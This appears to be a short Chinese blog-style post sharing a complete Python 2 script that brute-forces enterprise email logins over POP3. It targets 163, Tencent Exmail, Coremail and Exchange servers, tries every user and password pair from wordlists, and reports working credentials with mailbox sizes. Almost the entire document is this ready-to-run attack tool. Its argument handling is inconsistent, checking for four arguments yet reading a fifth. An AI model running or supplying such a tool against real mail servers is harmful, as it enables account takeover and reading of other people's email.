原来保存过的一个企业爆破脚本，单线程，测试时还是有所帮助的。

#!usr/bin/python
#!coding:utf-8

import threading,time,random,sys,poplib
from copy import copy

if len(sys.argv) !=4:
    print "\t    Note: 邮箱类型为：'163','tencent','coremail','236','exchange' \n"
    print "\t    Note: coremail|exchange 用户字典不需要域名后缀，例如zhangsan\n"
    print "\t    Note: 163|tencent|236 用户字典需要域名后缀，例如zhangsan@domain.com\n"
    print "\t    Usage: 163|tencent使用方法：./mail.py type <userlist> <wordlist>\n"
    print "\t    Usage: 236|exchange|coremail使用方法：./mail.py type <userlist> <wordlist> mail.domain.com\n"  

    sys.exit(1)

mailType=['163','tencent','coremail','236','exchange']

if sys.argv[1] in ['236','exchange','coremail']:
    try:
        server = sys.argv[5]
    except:
        print '[-] Error: 236|exchange|coremail需要指定domain.com，请参考使用说明！\n'
        sys.exit(1)
elif sys.argv[1] == '163':
    server = "pop.qiye.163.com"
elif sys.argv[1] == 'tencent':
    server = "pop.exmail.qq.com"
else :
    print "[-] Error: 邮箱类型错误\n"
    sys.exit(1)
    
success = []

try:
    users_list = open(sys.argv[2], "r")
    users = users_list.readlines()
    words_list = open(sys.argv[3], "r")
    words = words_list.readlines()
except(IOError):
    print "[-] Error: 请检查用户名或密码路径及文件\n"
    sys.exit(1)
finally:
    users_list.close()
    words_list.close()
    
try:
    if sys.argv[1] in ['163','236']:
        pop = poplib.POP3(server,110)        
    else:
        pop = poplib.POP3_SSL(server,995)
    welcome = pop.getwelcome()
    print welcome
    pop.quit()
except (poplib.error_proto):
    welcome = "[-] Error: No Response,Something wrong!!!\n"
    sys.exit(1)

print "[+] Server:",server
print "[+] Users Loaded:",len(users)
print "[+] Words Loaded:",len(words)
print "[+] Server response:",welcome,"\n"

def mailbruteforce(listuser,listpwd,type):
    if len(listuser) < 1 or len(listpwd) < 1 :
        print "[-] Error: An error occurred: No user or pass list\n"
        return 1
    
    for user in listuser:
        for passwd in listpwd :
            user = user.replace("\n","")
            passwd = passwd.replace("\n","")
            
            try:
                print "-"*12
                print "[+] User:",user,"Password:",passwd
                
#                 time.sleep(0.1)      
                if type in ['163','236']:
                    popserver = poplib.POP3(server,110)        
                else:
                    popserver = poplib.POP3_SSL(server,995)
                popserver.user(user)
                auth = popserver.pass_(passwd)
                print auth
                
                if auth.split(' ')[0] == "+OK" or auth =="+OK":
                    ret = (user,passwd,popserver.stat()[0],popserver.stat()[1])
                    success.append(ret)
                    #print len(success)
                    popserver.quit()
                    break
                else :
                    popserver.quit()
                    continue
            
            except:
                #print "An error occurred:", msg
                pass

if __name__ == '__main__':
    mailbruteforce(users,words,sys.argv[1])
    

    print "\t[+] have weakpass :\t",len(success)
    if len(success) >=1:
        for ret in success:
            print "\n\n[+] Login successful:",ret[0], ret[1]
            print "\t[+] Mail:",ret[2],"emails"
            print "\t[+] Size:",ret[3],"bytes\n"
    print "\n[-] Done"